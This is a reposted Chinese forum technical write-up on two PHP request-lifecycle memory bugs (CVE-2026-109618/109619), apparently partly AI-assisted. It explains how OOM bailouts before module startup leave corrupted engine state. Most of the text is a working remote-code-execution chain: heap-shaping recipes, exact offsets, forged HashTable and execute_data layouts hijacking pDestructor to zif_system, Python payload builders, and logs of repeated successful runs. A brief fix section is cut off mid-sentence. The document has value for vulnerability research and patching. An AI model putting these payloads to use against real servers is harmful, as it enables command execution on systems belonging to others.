PHP 请求生命周期边界漏洞技术分析(CVE-2026-109618/109619)

4 条回复
38 次浏览

原文来源不详,可能为人工+AI 分析
目前由用户发布于墨雪飘影漏洞收集平台,下面为转载。

PHP 请求生命周期边界漏洞技术分析(CVE-2026-109618/109619)@Rabbit
https://v.mxpy.cn/post/6052/

被 PHP2Shell 漏洞吓坏了?先说结论!
https://mp.weixin.qq.com/s/vMyqgwHaWOIrWKIQyPsq9Q

一、共同背景:请求生命周期边界的空档

PHP 在 php_hash_environment()(main.c:1942)里解析 POST/multipart,这一步发生在所有模块 RINIT 之前(PG(modules_activated) 此时为 0)。当解析过程中发生 OOM,zend_mm_safe_error() → zend_bailout() longjmp 直接跳出。随后 php_request_shutdown() 中带 PG(modules_activated) 门控的三步被整体跳过:

复制
/* main/main.c:1955-2051 */
/* 1. shutdown functions */ if (PG(modules_activated)) ... /* 1974-1977 跳过 */
/* 2. __destruct() */ zend_call_destructors(); /* 1979-1982 执行 */
/* 5. RSHUTDOWN */ if (PG(modules_activated)) ... /* 1996-1999 跳过 */
/* 7. free shutdown functions */ if (PG(modules_activated)) ... /* 2006-2009 跳过 */
/* 8. destroy super-globals */ zval_ptr_dtor(&PG(http_globals)[i]); /* 2011-2018 执行,无门控 */
/* 9. zend_deactivate() */ zend_deactivate(); /* 2020-2021 执行 */
/* 15. shutdown_memory_manager */ shutdown_memory_manager(...); /* 2049-2051 执行 */
  • 入口早:解析在 RINIT 前,无模块生命周期保护。
  • 退出早:OOM longjmp 使 RSHUTDOWN 被跳过,但第 2、8、9、15 步照常执行。

两个 CVE 分别站在这个空档的两侧:

消费方向被消费对象前提
109618同一请求内请求内存中nNumUsed 虚增的半初始化 HashTable对象没被写完
109619跨请求模块全局PS(http_session_vars)(悬空 zend_reference)状态没被清理

二、CVE-2026-109618:半初始化 bucket 在关闭阶段被当作活 zval

漏洞描述

_zend_hash_str_add_or_update_i()(zend_hash.c:960)插入新键时,先发布计数器,后分配键:

复制
add_to_hash:
    idx = ht->nNumUsed++; /* 961 先发布 */
    ht->nNumOfElements++; /* 962 */
    p = ht->arData + idx; /* 963 */
    p->key = key = zend_string_init(str, len, ...); /* 964 可能 OOM -> bailout */
    ...
    ZVAL_COPY_VALUE(&p->val, pData); /* 975 永远不执行 */

键长 4990 字节时 zend_string_init 分配 8192 字节(两页),memory_limit 不足则 longjmp。表认为有 nNumUsed 个桶,而最后一个桶的 key、h、val 均未初始化。

请求启动失败后,关闭流程第 8 步 zval_ptr_dtor(&PG(http_globals)[TRACE_VARS_FILES]) 无门控,递归析构 $_FILES → $_FILES["t"] → $_FILES["t"]["name"]。zend_array_destroy() 按 nNumUsed 遍历:

复制
/* zend_hash.c:1843-1847 */
Bucket *p = ht->arData;
Bucket *end = p + ht->nNumUsed;
if (HT_HAS_STATIC_KEYS_ONLY(ht)) {
    do { i_zval_ptr_dtor(&p->val); } while (++p != end); /* 只析构 val,不碰 key */
}

于是从未写过的 bucket 被当作活 zval 析构。

关键 gdb 信息

OOM 点与幻影 bucket:

复制
#6 _zend_hash_str_add_or_update_i (…) Zend/zend_hash.c:964
#7 zend_hash_str_update_ind (…) Zend/zend_hash.c:1048
#8 zend_symtable_str_update_ind (…) Zend/zend_hash.h:602
#9 php_register_variable_ex (…) main/php_variables.c:271
#10 php_register_variable_safe (…) main/php_variables.c:49
#11 safe_php_register_variable (…) main/rfc1867.c:138
#12 rfc1867_post_handler (…) main/rfc1867.c:1153
...
#17 php_hash_environment () main/php_variables.c:794

#17 到 #6 之间无任何模块 RINIT,#6 处 bailout 后 PG(modules_activated) 仍为 0。

目标表内存布局($_FILES["t"]["name"],8 桶表 = 320 字节 bin 16):

复制
HT_SIZE_TO_MASK(8) = 0xFFFFFFF0
HT_HASH_SIZE(-16) = 64
HT_DATA_SIZE(8) = 256
HT_SIZE_EX = 320

zend_hash_real_init_mixed_ex()(zend_hash.c:166)只把前 64 字节 hash 区写 -1,bucket 区 256 字节未初始化。不做堆整形时,OOM 点读到的是上一任表留下的有效字符串 zval:

复制
>>> _zend_hash_str_add_or_update_i: ht=0x7fffeabc83f0 arData=0x7fffeabc9a40 nNumUsed=1 nTableSize=8 flags=0x10
>>> stale zval: ptr=0x7fffeabd0000 type_info=0x106 (IS_STRING_EX)
>>> stale str gc=0x16 len=4990 refcount=1

即原语在默认条件下已在执行,只是消费的是别人的垃圾数据,请求安静退出。

关闭阶段的四跳析构栈:

复制
#0 zend_array_destroy (ht=0x7fffeabc83f0) Zend/zend_hash.c:1815
#1 i_zval_ptr_dtor (zval_ptr=0x7fffeabc9b80) Zend/zend_variables.h:45
#2 zend_array_destroy (ht=0x7fffeabc83b8) Zend/zend_hash.c:1849
#3 i_zval_ptr_dtor (zval_ptr=0x7fffedca4b00) Zend/zend_variables.h:45
#4 zend_array_destroy (ht=0x7ffff3c5b0a8) Zend/zend_hash.c:1849
#5 php_request_shutdown (dummy=0x0) main/main.c:2016

堆整形后的 RCE 命中:

复制
=== [1] OOM size=8192 ===
>>> _zend_hash_str_add_or_update_i: ht=... nNumUsed=1 ...
>>> bucket[0] = { val=0x7fffeabc9a60, type_info=0x307 } (IS_ARRAY|REFCOUNTED|COLLECTABLE)

=== [2] php_request_shutdown -> zend_array_destroy(phantom ht) nNumUsed=1 ===

=== [3] pDestructor -> zif_system(execute_data=0x7fffeabc9a98)
>>> arg1 zval = { ptr=0x7fffeabc9af8, type_info=0x6 }
0x7fffeabc9b10:	"id>/tmp/php2shell_rce_618"
#0 zif_system (execute_data=0x7fffeabc9a98, return_value=0x1) ext/standard/exec.c:250
#1 zend_hash_destroy (ht=0x7fffeabc9a60) Zend/zend_hash.c:1769
#2 zend_array_destroy (ht=0x7fffeabc9a60) Zend/zend_hash.c:1826
#3 i_zval_ptr_dtor (zval_ptr=0x7fffeabc9a40) Zend/zend_variables.h:45
#4 zend_array_destroy (ht=0x7fffeabc83f0) Zend/zend_hash.c:1845

前置条件

  1. 精确的 OOM 落点:必须落在 _zend_hash_str_add_or_update_i() 的 add_to_hash(键分配失败)上。固定 856 个嵌套文件字段,燃烧字段数实测:

    燃烧字段数OOM 位置被中断的表
    16add_to_hash,PG(rfc1867_protected_variables)持久化表
    17add_to_hash,另一张 8 桶子表相邻子表
    18add_to_hash,$_FILES["t"]["name"]目标表(唯一命中)
    19sapi_handle_post(SAPI.c:164)解析器外层
    20同上,12288 字节同上

    ±1 个燃烧字段就换对象,常量与请求形状绑死。

  2. 堆整形控制 320 字节槽位:普通字段结束时 efree(param) 在前、efree(value) 在后,但下一字段的 param 会取走栈顶。需用三段非相邻分配绕开:

    段内容分配/释放结果
    X文件字段f0000[aaa…a](索引 313 字节)estrndup → emalloc(314),bin 320,存活挂住文本槽位
    B普通字段gB,值 319 字节二进制emalloc(320) 取新槽位,字段结束 efree内容保留
    目标文件字段t[AAA…A][b]rfc1867.c:1117 先 efree X → 压栈顶;$_FILES["t"] 取栈顶,["name"] 取 B 的槽位B 槽位成为目标表 arData

    multipart_buffer_read_body() 值缓冲二进制安全(rfc1867.c:626-640),319 字节任意可控。

  3. 一块 320 字节内摆下四个伪造结构(可用区间 +64 起 256 字节):

    偏移长度结构关键字段
    +6416假 zvalvalue.ptr=+96,type_info=0x307
    +960x38假 HashTablegc={1,0x307}、flags=0x10、nTableMask=-16、arData=+152、nNumUsed=1、pDestructor=zif_system
    +1520x58假 zend_execute_data+0x2C num_args=1,+0x50 arg1 zval
    +24824+47zend_string{refcount=1,type=6,len} + 命令正文(≤47 字节)
  4. 两个绝对地址:被控槽位堆地址(假表指针指回同一块内存)、zif_system 代码地址。实测槽位基址 = 启动时首个 [anon:zend_alloc] chunk − 0x9200000(六次运行一致);zif_system = /php 映射基址 + 0x73a900。实验通过 /proc/<pid>/maps 获取。

  5. 命令执行后进程必然崩溃:pDestructor(&p->val) 只传 RDI,RSI 残留 0x1 作为 return_value。php_exec() 中 VCWD_POPEN 先跑完命令,RETVAL_STRINGL 往 0x1 写 zval 时 SIGSEGV:

    复制
    169 RETVAL_STRINGL(buf, bufl);
    Program received signal SIGSEGV
    

    即「一个请求换一次命令执行,代价是进程退出」。

  6. 版本/构建绑定:被控槽位偏移、BIG_DELTA、zif_system 偏移只对 8.5.2 该 build 成立;落点必须精确到指令;要求请求确实在 php_hash_environment() 内部 bailout,而非被 post_max_size 等早期条件拒绝。

POC(scripts/lab_109618_rce.py)

核心构造:

复制
BUF_OFF = 0x1c9a00 # 被复用的 bin-320 槽位
BIG_DELTA = 0x9200000 # 相对启动 chunk 的偏移
OFF_ZVAL, OFF_HT, OFF_ED, OFF_CMD = 64, 96, 152, 248
ZIF_SYSTEM_OFF = 0x73a900

def payload(chunk, cmd):
    base = chunk + BUF_OFF
    ht, ed, cs = base+OFF_HT, base+OFF_ED, base+OFF_CMD
    v = bytearray(b"B"*319)
    v[OFF_ZVAL:OFF_ZVAL+16] = zval(ht, 0x307)
    v[OFF_HT:OFF_HT+0x38] = fake_ht(ed, zif_system_addr())
    v[OFF_ED:OFF_ED+0x58] = fake_ed(cs)
    v[OFF_CMD:...] = zend_string(cmd)
    return bytes(v)

def build(chunk, cmd, parts=856, nburn=18, blen=4990, idxlen=4990, levels=63):
    body = b""
    for i in range(parts): body += file_part(b"f%04d"%i + b"[a]"*levels) # 吃堆
    for i in range(nburn): body += part(b"p%04d"%i, b"P"*blen) # 精确 OOM 预算
    body += file_part(b"f0000[" + b"a"*313 + b"]") # X:长 array_index
    body += part(b"gB", payload(chunk, cmd)) # B:319B 伪造内容
    body += file_part(b"t[" + b"A"*idxlen + b"][b]") # 目标:add_to_hash 处 OOM
    body += b"--" + BOUNDARY + b"--\r\n"
    return body

运行结果(四次独立进程,ASLR 开启):

复制
php pid=1557068 chunk=0x7c7404c00000 bin=0x5ef933000000 buf=0x7c7404dc9a00 -> RCE OK
php pid=1557086 chunk=0x78244e000000 bin=0x5f0d7d200000 buf=0x78244e1c9a00 -> RCE OK
php pid=1557109 chunk=0x7b0356200000 bin=0x5c00e2000000 buf=0x7b03563c9a00 -> RCE OK
php pid=1557121 chunk=0x7a1ef7600000 bin=0x58807de00000 buf=0x7a1ef77c9a00 -> RCE OK

前排打手
OP
GRD

三、CVE-2026-109619:未复位会话全局 + 跨请求 pDestructor 劫持

漏洞描述

请求 A 在 pre-RINIT 阶段处理 multipart 上传进度时,MULTIPART_EVENT_FILE_START 分支调用 php_rinit_session(0)(session.c:3264)临时补齐会话状态,其 php_rinit_session_globals()(session.c:111-127)只重置 PS(id)、PS(mod_data)、PS(session_vars)、PS(http_session_vars),PS(mod) 与 PS(serializer) 不在重置范围。随后 php_session_initialize() → php_session_track_init()(session.c:253-269)建立 PS(http_session_vars) 引用:

复制
zend_delete_global_variable("_SESSION");
if (!Z_ISUNDEF(PS(http_session_vars))) zval_ptr_dtor(&PS(http_session_vars)); /* 261 */
array_init(&session_vars);
ZVAL_NEW_REF(&PS(http_session_vars), &session_vars); /* 265 */
Z_ADDREF_P(&PS(http_session_vars)); /* 266 */
zend_hash_update_ind(&EG(symbol_table), "_SESSION", &PS(http_session_vars)); /* 267 */

A 在读取 24 MiB 普通字段值时 erealloc 触顶 memory_limit=16M,_zend_bailout()。因 PG(modules_activated)=0,RSHUTDOWN 被跳过,php_rshutdown_session_globals()(session.c:158-190,含 PS(http_session_vars) 的 zval_ptr_dtor + ZVAL_UNDEF)从未执行,该 zend_reference 悬空。

请求 B 不带文件字段,php_rinit_session(0) 不跑,pre-RINIT 逻辑读到 A 遗留的悬空值。B 的 MULTIPART_EVENT_END 默认 cleanup=On 走 php_session_rfc1867_cleanup()(session.c:3166-3176)→ php_session_initialize() → php_session_track_init():

复制
if (!Z_ISUNDEF(PS(http_session_vars))) {
    zval_ptr_dtor(&PS(http_session_vars)); /* session.c:261,此时该地址已是攻击者字节 */
}

Z_ISUNDEF 为假,析构必然执行,消费攻击者控制的伪造引用。两者缺一不可:PS(mod) 为空则 php_session_initialize() 入口即返回;PS(http_session_vars) 被正确 UNDEF 则 track_init 的析构跳过。

关键 gdb 信息

请求 A 建立引用后 OOM:

复制
SESS_INIT ti=0x0 r0=(nil) chunkoff=0x0
BAILOUT
#5 zend_mm_safe_error at Zend/zend_alloc.c:407
#4 zend_mm_alloc_huge at Zend/zend_alloc.c:1942
#2 zend_mm_realloc_slow
#1 multipart_buffer_read_body at main/rfc1867.c:632

ti=0x0 说明 A 进入时 http_session_vars 是 UNDEF,析构跳过,随后新建引用,无任何人回收。

请求 B 触发析构的完整链:

复制
SESS_INIT ti=0x30a r0=0x7ffff3c7b6c0 chunkoff=0x7b6c0
  fake_refgc=0xa00000001 fake_valptr=0x7ffff3c7c018 fake_valti=0x307
REF_DESTROY entry rdi=0x7ffff3c7b6c0 rsi=(nil)
  0x7ffff3c7b6c0: 0x0000000a00000000 0x00007ffff3c7c018
  0x7ffff3c7b6d0: 0x0000000000000307 0x4141414141414141
ARRAY_DESTROY ht=0x7ffff3c7c018 rc=0 flags=0x10 nUsed=1 nOf=1 pDtor=0x555555b3a900 arData=0x7ffff3c7c058
HT_DESTROY ht=0x7ffff3c7c018 flags=0x10 nUsed=1 nOf=1 pDtor=0x555555b3a900 arData=0x7ffff3c7c058
ZIF_SYSTEM ed=0x7ffff3c7c058 num_args=1
  0x7ffff3c7c0a8: 0x00007ffff3c7c118 0x4141414100000006
PHP_EXEC type=1 cmd=id>/tmp/php2shell_rce_proof;…;echo RCE_OK>>… array=(nil) retval=0x1
Program received signal SIGSEGV
169 RETVAL_STRINGL(buf, bufl);

栈帧:

复制
#5 i_zval_ptr_dtor (zval_ptr=0x7ffff3c7b6c8) zend_variables.h:45
#6 zend_reference_destroy (ref=0x7ffff3c7b6c0) zend_variables.c:74
#7 php_session_track_init () session.c:261
#8 php_session_initialize () session.c:479
#9 php_session_rfc1867_cleanup (progress=…) session.c:3154
#10 php_session_rfc1867_callback (…) session.c:3317
#11 rfc1867_post_handler (…) main/rfc1867.c:1273

pDtor=0x555555b3a900 = PIE 基址 0x555555400000 + 0x73a900(zif_system 偏移);r0 的 chunk 偏移 0x7b6c0 与 A 阶段一致;REF_DESTROY 入参 refcount 已为 0(GC_DELREF 由调用方做)。

前置条件

  1. 同 worker:仅 php -S 单进程验证,FPM/pre-fork 未测。

  2. 请求 A 必须带文件字段:只给 PHPSESSID 与 PHP_SESSION_UPLOAD_PROGRESS 不触发 FILE_START,http_session_vars 始终 UNDEF,链断在起点。

  3. A 的 OOM 必须落在 FILE_START 之后(引用已建立):实测为读取末尾 24 MiB 普通字段值时 multipart_buffer_read_body 的 erealloc;16 MiB 限额配 24 MiB 字段是成功组合。

  4. session.upload_progress.enabled=On(默认):置 0 则无 php_session_initialize,链从第二步断。

  5. B 布局常量(8.5.2 build,gdb 实测):

    量值说明
    OFF_R00x7b6c0悬空zend_reference 在 chunk 内偏移
    OFF_BIG_DATA0x7a018B 的big 值数据起点
    VAL_REF0x16a8目标在值内偏移(OFF_R0 - OFF_BIG_DATA)
    VAL_HT0x2000伪造 HashTable
    VAL_ED0x2040伪造 execute_data / arData
    VAL_CMD0x2100伪造 zend_string + 命令
    VAL_LEN60000覆盖到0x2100+0x18+len
  6. 主 chunk 跨请求复用:zend_mm_shutdown()(full=false 分支)只收 main_chunk 之外的块,主 chunk 与进程同寿命,B 可在同一地址重写。

  7. 伪造结构布局(vbase = chunk + 0x7a018):

    zend_reference(+0x16a8,24 字节;sources 落在 'A' 上):

    偏移字节含义
    +0x0001 00 00 00gc.refcount = 1(必须写 1,写 0 则 GC_DELREF 下溢,rc_dtor_func 不触发)
    +0x040a 00 00 00gc.type_info = IS_REFERENCE
    +0x08HT 绝对地址val.value.ptr
    +0x1007 03 00 00val.u1.type_info = 0x307(`IS_ARRAY
    +0x1400 00 00 00val.u2

    HashTable(+0x2000,0x40 字节):

    偏移值字段
    +0x0001 00 00 00gc.refcount = 1
    +0x0407 03 00 00gc.type_info = 0x307
    +0x0810 00 00 00flags = HASH_FLAG_STATIC_KEYS
    +0x0cf8 ff ff ffnTableMask = -8
    +0x10ED 绝对地址arData
    +0x1801 00 00 00nNumUsed = 1
    +0x1c01 00 00 00nNumOfElements = 1
    +0x2008 00 00 00nTableSize = 8
    +0x30zif_system 绝对地址pDestructor

    HT_IS_WITHOUT_HOLES(1==1)与 HT_HAS_STATIC_KEYS_ONLY(0x10 & 0x14)命中紧凑循环,每 bucket 直接 pDestructor(&p->val)(zend_hash.c:1769),不读 p->key。

    zend_execute_data(+0x2040,与 arData/Bucket 重叠):

    偏移值作用
    +0x2c01 00 00 00This.u2.num_args = 1
    +0x50cmdstr 绝对地址ZEND_CALL_ARG(ed,1).value.ptr
    +0x5806 00 00 00arg1type_info = IS_STRING

    重叠成立是因为 Bucket.val 在 +0x00,zend_hash_destroy 传给析构器的是 &p->val,RDI 天然等于 arData = execute_data,无需跳板。ARG(1) 在 +0x50 是因为 ZEND_CALL_FRAME_SLOT = ceil(0x50/0x10) = 5。

    zend_string(+0x2100):

    偏移值字段
    +0x0001 00 00 00gc.refcount = 1
    +0x0406 00 00 00gc.type_info = IS_STRING
    +0x080h
    +0x10lenlen
    +0x18命令字节 + 0val

    命令不能含 NUL(Z_PARAM_PATH_STR 拒绝)。

  8. 两个绝对地址:Zend MM chunk 基址(三个自指针需绝对值,伪造块在 chunk 内相对位置固定)、PIE 基址(pDestructor = 基址 + 0x73a900)。实验通过 /proc/<pid>/maps 的 [anon:zend_alloc] 段与 /php 映射获取。

  9. 命令执行后进程崩溃:pDestructor(&p->val) 只设 RDI,RSI 残留 0x1 作为 return_value;php_exec 中 VCWD_POPEN 先跑完命令,RETVAL_STRINGL 往 0x1 写时 SIGSEGV。一个 worker 一条命令。

POC(scripts/lab_sink2_rce.py)

请求 A:

复制
def arm_a(boundary):
    parts = [(b"PHPSESSID", b"a"*19), (b"PHP_SESSION_UPLOAD_PROGRESS", b"p"*3)]
    for i in range(107):
        parts.append((("p%06d" % i).encode(), b"V")) # 107 个填充字段
    parts.append((b"f", b"A"*64, b"a.txt")) # 文件字段,触发 FILE_START
    parts.append((b"big", b"B"*(24*1024*1024))) # 24 MiB,触发 OOM
    return multipart(parts, boundary)

请求 B:

复制
def arm_b(boundary, chunk, zif_system, cmd, fake_off=0):
    vbase = chunk + OFF_BIG_DATA
    ht, ed, cmdstr = vbase+VAL_HT, vbase+VAL_ED, vbase+VAL_CMD
    v = bytearray(b"A"*VAL_LEN)
    v[VAL_REF:VAL_REF+24] = struct.pack("<IIQII", 1, 10, ht, 0x307, 0) # fake zend_reference
    v[VAL_HT+0x00:...] = struct.pack("<II", 1, 0x307)
    v[VAL_HT+0x08:...] = struct.pack("<II", 0x10, 0xFFFFFFF8)
    v[VAL_HT+0x10:...] = struct.pack("<Q", ed)
    v[VAL_HT+0x18:...] = struct.pack("<IIII", 1, 1, 8, 0)
    v[VAL_HT+0x30:...] = struct.pack("<Q", zif_system) # pDestructor
    v[VAL_ED+0x2C:...] = struct.pack("<I", 1) # num_args
    v[VAL_ED+0x50:...] = struct.pack("<QI", cmdstr, 6) # arg1
    v[VAL_CMD+0x00:...] = struct.pack("<IIQQ", 1, 6, 0, len(cmd))
    v[VAL_CMD+0x18:...] = cmd + b"\x00"
    return multipart([(b"PHPSESSID", b"a"*19),
                      (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
                      (b"big", bytes(v))], boundary)

运行结果(十个独立进程,PIE 与 chunk 基址每次不同):

次数chunk 基址PIE 基址
10x7815be2000000x557432000000
20x7d22568000000x650e5f400000
30x7edd43e000000x61ee74600000
40x7de6006000000x568908800000
50x71df4e4000000x561e61000000
6–9各不相同各不相同
10打包脚本直接运行运行时解析

每次均拿到 uid=1000(whl) 与 RCE_OK,均打印 chunk after A: <base> (same=True)。

阴性对照:伪造结构整体平移 8 字节与 16 字节,其余字节、地址、请求不变,服务端只返回 200,无副作用文件,进程不崩溃。原因是目标地址不再是 refcount=1 + type_info=0x0a,i_zval_ptr_dtor 进不了析构链,证明成功来自精确布局。


四、两者的关系与边界

复制
                    php_request_startup()
                             │
        PG(modules_activated)=0 (main.c:1900)
                             │
        ┌────────────────────┴────────────────────┐
        │ php_hash_environment() main.c:1942 │
        │ └─ rfc1867_post_handler │
        │ ├─ FILE_START → track_init │
        │ └─ FILE_END 后登记 $_FILES → OOM │ 109618 的入口
        └────────────────────┬────────────────────┘
                             │ longjmp
                  php_request_shutdown()
                     ├─ [门控] 1/5/7 ← 跳过 ⇒ 109619 的成因
                     └─ [无门控] 2/8/9/15 ← 109618 的消费面
                             │
                     下一次请求:pre-RINIT 访问悬空全局 ⇒ 109619 的消费
  • 109618:同一请求内,退出阶段仍在消费半初始化对象;问题在不该此时 longjmp。
  • 109619:跨请求,进入阶段消费了本该被回收的全局;问题在不该让 pre-RINIT 逻辑依赖只有 RSHUTDOWN 才清理的状态。

易含混处:OOM 本身不是 109619 的特征,只是入口;「跳过 RSHUTDOWN」也不是 109618 的性质;8.5.12 同版本带两个方向修复,不代表两个 CVE 是同一问题。

8.5.12 修复方向:

  • php_basic_early_rinit()(basic_functions.c:492,在 sapi_activate() 前调用)提前复位 BG(serialize)/BG(unserialize),堵 109619。
  • 延迟 OOM(ZEND_HAS_OOM()/zend_handle_delayed_oom(),zend_execute.c:4294-4295)使 zend_mm_check_limit() 非 fallible 堆下即使超软限额也返回 SUCCESS(zend_alloc.c:555),`

发表一个评论

R保持